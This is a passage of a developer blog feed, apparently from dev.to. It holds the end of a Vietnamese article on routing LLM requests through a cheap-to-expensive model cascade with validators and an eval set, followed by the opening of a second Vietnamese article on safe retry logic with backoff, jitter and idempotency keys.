    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;JSONDecodeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="nf"&gt;all&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;required_keys&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
    &lt;span class="c1"&gt;# model nhỏ hay "đoán bừa" -&amp;gt; bắt nó tự khai confidence
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;confidence&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.7&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;cascade&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;required_keys&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;tier&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;TIERS&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;:]:&lt;/span&gt;
        &lt;span class="n"&gt;t0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;perf_counter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;chat&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;completions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;create&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;tier&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;messages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;}],&lt;/span&gt;
            &lt;span class="n"&gt;max_tokens&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;tier&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;max_tokens&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;response_format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;type&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;json_object&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
            &lt;span class="n"&gt;temperature&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;choices&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;
        &lt;span class="n"&gt;ms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;perf_counter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;t0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;ok&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;validate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;required_keys&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;[&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;tier&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;] &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ms&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;ms ok=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ok&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; tokens=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;usage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;total_tokens&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ok&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;tier&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;TIERS&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;tier&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Có vài điểm mình học được sau khi làm thật:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Validator là trái tim của cascade.&lt;/strong&gt; Nếu chỉ check "có trả về hay không" thì model rẻ lúc nào cũng pass. Phải check được cấu trúc (JSON schema, Pydantic), ràng buộc nghiệp vụ (enum hợp lệ, số nằm trong range) và self-reported confidence.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;temperature=0&lt;/code&gt;&lt;/strong&gt; ở tier rẻ giúp output ổn định hơn và dễ debug hơn.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bỏ qua tier khi cần&lt;/strong&gt;: tham số &lt;code&gt;start&lt;/code&gt; cho phép router heuristic đẩy thẳng request khó lên tier cao, khỏi tốn thêm một round-trip vô ích.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Phần heuristic thì không cần ML gì cao siêu. Mình chỉ dùng mấy rule đơn giản:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;pick_start_tier&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;task_type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;task_type&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;classify&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;extract&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;translate_short&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;}:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;task_type&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;code_review&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;12_000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;  &lt;span class="c1"&gt;# context dài, model nhỏ hay "quên" giữa chừng
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Đừng tin cảm giác: dựng eval set trước khi chuyển
&lt;/h2&gt;

&lt;p&gt;Đây là bước nhiều team bỏ qua rồi sau đó quay lại kêu "model rẻ ngu quá". Trước khi đổi production, bạn cần một &lt;strong&gt;eval set&lt;/strong&gt; gồm khoảng 200-500 request thật đã gán nhãn đúng, lấy từ log, nhớ ẩn danh dữ liệu khách hàng.&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;sequenceDiagram
    participant L as Production logs
    participant E as Eval set (JSONL)
    participant R as Cascade router
    participant M as Metrics
    L-&amp;gt;&amp;gt;E: Sample 300 requests + label
    E-&amp;gt;&amp;gt;R: Replay từng case
    R-&amp;gt;&amp;gt;M: tier dùng, đúng/sai, latency, cost
    M--&amp;gt;&amp;gt;R: Tune threshold confidence&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Script replay đơn giản, chạy nền để khỏi block terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# eval_set.jsonl: mỗi dòng {"prompt": ..., "task": ..., "expected": ...}&lt;/span&gt;
&lt;span class="nb"&gt;nohup &lt;/span&gt;python3 run_eval.py &lt;span class="nt"&gt;--data&lt;/span&gt; eval_set.jsonl &lt;span class="nt"&gt;--out&lt;/span&gt; results.jsonl &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; eval.log 2&amp;gt;&amp;amp;1 &amp;amp;

&lt;span class="c"&gt;# Sau khi chạy xong: tỉ lệ request dừng ở mỗi tier&lt;/span&gt;
jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.tier'&lt;/span&gt; results.jsonl | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt;

&lt;span class="c"&gt;# Accuracy theo từng tier&lt;/span&gt;
jq &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;'group_by(.tier) | map({tier: .[0].tier, acc: (map(select(.correct)) | length) / length})'&lt;/span&gt; results.jsonl
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Kết quả lần đầu của mình: 64% dừng ở &lt;code&gt;lite&lt;/code&gt;, 27% ở &lt;code&gt;flash&lt;/code&gt;, 9% lên &lt;code&gt;flagship&lt;/code&gt;. Accuracy tổng chỉ thấp hơn baseline "toàn flagship" có 1.2%. Sau đó mình tune threshold confidence từ 0.7 lên 0.8 thì gần như bằng baseline, đổi lại tỉ lệ dừng ở &lt;code&gt;lite&lt;/code&gt; còn 55%. Đó là trade-off bạn phải tự chọn dựa trên số liệu, đừng chọn theo cảm giác.&lt;/p&gt;

&lt;h2&gt;
  
  
  Những cái bẫy khi chạy production
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Latency đuôi (p99) tăng.&lt;/strong&gt; Request đi đủ 3 tier sẽ chậm hơn hẳn so với gọi thẳng flagship. Với flow có user ngồi chờ, nên đặt timeout ngắn cho tier rẻ (2-3s) và cho phép skip tier nếu SLA chặt.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Cost ẩn của retry.&lt;/strong&gt; Request bị escalate tốn tiền cả tier dưới lẫn tier trên. Nếu tỉ lệ escalate vượt khoảng 40% thì cascade có thể còn đắt hơn gọi thẳng flagship. Hãy track metric &lt;code&gt;escalation_rate&lt;/code&gt; trên dashboard.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Model rẻ "yes-man".&lt;/strong&gt; Model nhỏ hay tự tin thái quá: confidence 0.95 mà vẫn sai. Đừng chỉ dựa vào self-reported confidence, nên kết hợp thêm validation nghiệp vụ, ví dụ check mã sản phẩm có tồn tại trong DB không.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Provider đổi model âm thầm.&lt;/strong&gt; Hãy pin version model nếu provider cho phép, và chạy lại eval mỗi khi đổi version. Mình để eval chạy trong CI hằng tuần bằng một job cron đơn giản.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5. Log đủ để debug.&lt;/strong&gt; Mỗi request cần log &lt;code&gt;tier&lt;/code&gt;, &lt;code&gt;model&lt;/code&gt;, &lt;code&gt;tokens&lt;/code&gt;, &lt;code&gt;latency_ms&lt;/code&gt;, &lt;code&gt;validator_reason&lt;/code&gt;. Khi user báo lỗi, bạn phải biết ngay request đó dừng ở tier nào và vì sao validator cho pass.&lt;/p&gt;

&lt;h2&gt;
  
  
  Kết luận
&lt;/h2&gt;

&lt;p&gt;Model rẻ không còn là "đồ chơi" nữa. Câu hỏi bây giờ là kiến trúc của bạn có tận dụng được chúng hay không. Checklist để bắt đầu ngay tuần này:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Phân tích log&lt;/strong&gt;: xem bao nhiêu % request thuộc loại classify/extract/format đơn giản. Đó chính là phần tiền đang lãng phí.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dựng eval set 200-500 case&lt;/strong&gt; từ dữ liệu thật trước khi đụng vào production.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bắt đầu với cascade 2 tier&lt;/strong&gt; (Flash + flagship), validator dùng JSON schema + confidence. Đừng over-engineer 5 tier ngay từ đầu.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Track 3 metric&lt;/strong&gt;: escalation rate, accuracy theo tier, cost/request. Escalation vượt 40% thì xem lại validator hoặc routing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chạy lại eval định kỳ&lt;/strong&gt; và mỗi khi provider ra version mới. Model rẻ cải thiện rất nhanh, có khi tháng sau tier &lt;code&gt;lite&lt;/code&gt; đã gánh được 80% traffic.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Tối ưu chi phí AI rốt cuộc vẫn là bài toán engineering quen thuộc: đo, phân loại, fallback, monitor. Khác ở chỗ lần này số tiền tiết kiệm được đủ lớn để sếp chú ý.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>python</category>
      <category>architecture</category>
    </item>
    <item>
      <title>To Retry or Not to Retry: Safe Retry Logic with Exponential Backoff, Jitter and Idempotency Keys</title>
      <dc:creator>EME GUG</dc:creator>
      <pubDate>Thu, 08 Oct 2026 23:44:37 +0000</pubDate>
      <link>https://dev.to/eme_gug_0821b41b948be6516/to-retry-or-not-to-retry-safe-retry-logic-with-exponential-backoff-jitter-and-idempotency-keys-4d01</link>
      <guid>https://dev.to/eme_gug_0821b41b948be6516/to-retry-or-not-to-retry-safe-retry-logic-with-exponential-backoff-jitter-and-idempotency-keys-4d01</guid>
      <description>&lt;p&gt;Hồi trước team mình từng có một sự cố khá kinh điển: payment provider chập chờn khoảng 30 giây, và trong 30 giây đó service của bọn mình gửi &lt;strong&gt;4 lần&lt;/strong&gt; request charge tiền cho cùng một đơn hàng. Lý do là có 3 tầng cùng retry: SDK của client, service gọi API, và cả job queue phía sau. Không tầng nào sai nếu xét riêng, nhưng gộp lại thì thành thảm họa. Sau lần đó mình rút ra một điều: retry không phải tính năng "thêm vào cho chắc". Làm sai thì nó còn nguy hiểm hơn là không retry gì cả.&lt;/p&gt;

&lt;p&gt;Bài này mình chia sẻ cách mình đang làm retry trong production: khi nào nên retry, retry thế nào để không tự DDoS chính hệ thống của mình, và làm sao để retry an toàn với những request có side effect.&lt;/p&gt;

&lt;h2&gt;
  
  
  Câu hỏi đầu tiên: request này có nên retry không?
&lt;/h2&gt;

&lt;p&gt;Trước khi viết dòng code nào, cần trả lời hai câu hỏi:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Lỗi này có phải lỗi tạm thời (transient) không?&lt;/strong&gt; Timeout, &lt;code&gt;503 Service Unavailable&lt;/code&gt;, &lt;code&gt;429 Too Many Requests&lt;/code&gt;, &lt;code&gt;ECONNRESET&lt;/code&gt; thì đáng retry. Còn &lt;code&gt;400&lt;/code&gt;, &lt;code&gt;401&lt;/code&gt;, &lt;code&gt;404&lt;/code&gt;, &lt;code&gt;422&lt;/code&gt; thì retry 100 lần vẫn sai y như vậy.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Request này có idempotent không?&lt;/strong&gt; &lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;PUT&lt;/code&gt;, &lt;code&gt;DELETE&lt;/code&gt; theo chuẩn HTTP là idempotent. &lt;code&gt;POST&lt;/code&gt; thì &lt;strong&gt;không&lt;/strong&gt;. Retry một request &lt;code&gt;POST /charges&lt;/code&gt; khi bị timeout là cách nhanh nhất để charge khách hai lần, vì timeout không có nghĩa là server chưa xử lý. Rất có thể server đã xử lý xong, chỉ có response là không về tới bạn.
&lt;/li&gt;
&lt;/ol&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart TD
    A[Request thất bại] --&amp;gt; B{Lỗi transient?&amp;lt;br/&amp;gt;timeout, 429, 502, 503, 504}
    B -- Không --&amp;gt; X[Fail ngay, không retry]
    B -- Có --&amp;gt; C{Request idempotent&amp;lt;br/&amp;gt;hoặc có Idempotency-Key?}
    C -- Không --&amp;gt; X
    C -- Có --&amp;gt; D{Còn retry budget?}
    D -- Không --&amp;gt; X
    D -- Có --&amp;gt; E[Chờ backoff + jitter]
    E --&amp;gt; F[Retry]&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Nguyên tắc của mình: &lt;strong&gt;mặc định là không retry&lt;/strong&gt;, chỉ retry khi đã qua đủ cả ba điều kiện trên.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exponential backoff và vì sao jitter là bắt buộc
&lt;/h2&gt;

&lt;p&gt;Retry ngay lập tức gần như luôn là ý tưởng tồi. Server đang quá tải mà bạn bắn thêm request thì nó càng chết nhanh hơn. Exponential backoff giải quyết việc này: chờ 1s, 2s, 4s, 8s...&lt;/p&gt;

&lt;p&gt;Nhưng chỉ backoff thôi thì chưa đủ. Giả sử 10.000 client cùng bị lỗi lúc 10:00:00. Với backoff thuần, cả 10.000 client sẽ cùng retry lúc 10:00:01, rồi cùng lúc 10:00:03... Đây là hiện tượng &lt;strong&gt;thundering herd&lt;/strong&gt;: server vừa hồi phục đã bị đánh sập lại. &lt;strong&gt;Jitter&lt;/strong&gt; (thêm ngẫu nhiên vào thời gian chờ) sẽ rải các request này ra.&lt;/p&gt;

&lt;p&gt;Trong Python, mình dùng &lt;code&gt;tenacity&lt;/code&gt; (bản 9.x) vì nó khai báo rất gọn:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# pip install tenacity==9.0.0 httpx==0.27.2
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;httpx&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;tenacity&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;retry&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stop_after_attempt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stop_after_delay&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;wait_random_exponential&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;retry_if_exception&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;before_sleep_log&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;

&lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;logging&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getLogger&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;RETRYABLE_STATUS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;429&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;502&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;503&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;504&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;is_transient&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exc&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;BaseException&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;httpx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;TimeoutException&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;httpx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;NetworkError&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;httpx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HTTPStatusError&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;exc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;RETRYABLE_STATUS&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;

